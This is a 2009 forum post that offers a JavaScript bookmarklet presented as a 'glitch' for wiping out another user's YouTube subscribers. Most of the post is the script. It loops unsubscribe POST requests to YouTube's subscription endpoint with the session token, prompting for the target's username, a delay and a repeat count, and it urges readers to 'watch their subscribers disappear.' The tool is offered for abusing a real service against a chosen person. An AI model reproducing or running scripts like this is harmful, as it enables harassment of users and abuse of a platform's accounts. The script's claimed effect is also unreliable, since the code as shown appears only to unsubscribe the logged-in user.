YouTube Subscription Removal Glitch

Human

X
Nov 24, 2009
689
25
0
So this glitch was found recently that actually removes a user's subscribers.

Go to their channel (logged in as a user). Input this code into the browser:

javascript:function unsubscribe() {
httpreq=new XMLHttpRequest();
httpreq.open('post', '/ajax_subscriptions?edit_subscription=newsub&username='+username+'&subscription_level=unsubscribe', false);
httpreq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
httpreq.send('session_token='+yt.getConfig('SUBSCRIBE_AXC'));
if(!httpreq.responseXML) {
setTimeout('unsubscribe()', timeout);
return;
}
if(httpreq.responseXML.getElementsByTagName('html_content')[0].childNodes[0].nodeValue!='<h2>You have successfully unsubscribed.</h2>') {
alert(httpreq.responseXML.getElementsByTagName('html_content')[0].childNodes[0].nodeValue);
} else if((window.status=++count)!=times) {
setTimeout('unsubscribe()', timeout);
} else {
alert('DUN');
}
}
count=0;
if((username=prompt('enter target\'s username', 'username'))!=null) {
if(!isNaN(timeout=parseInt(prompt('enter timeout in milliseconds', 250)))) {
if(!isNaN(times=parseInt(prompt('enter num of times to unsubscribe (0 = unlimited)', 0)))) {
unsubscribe();
}
}
}
void(0);;

Then set the parameters and watch their subscribers disappear. Hm.

Human
 
  • Like
Reactions: rogerrabbit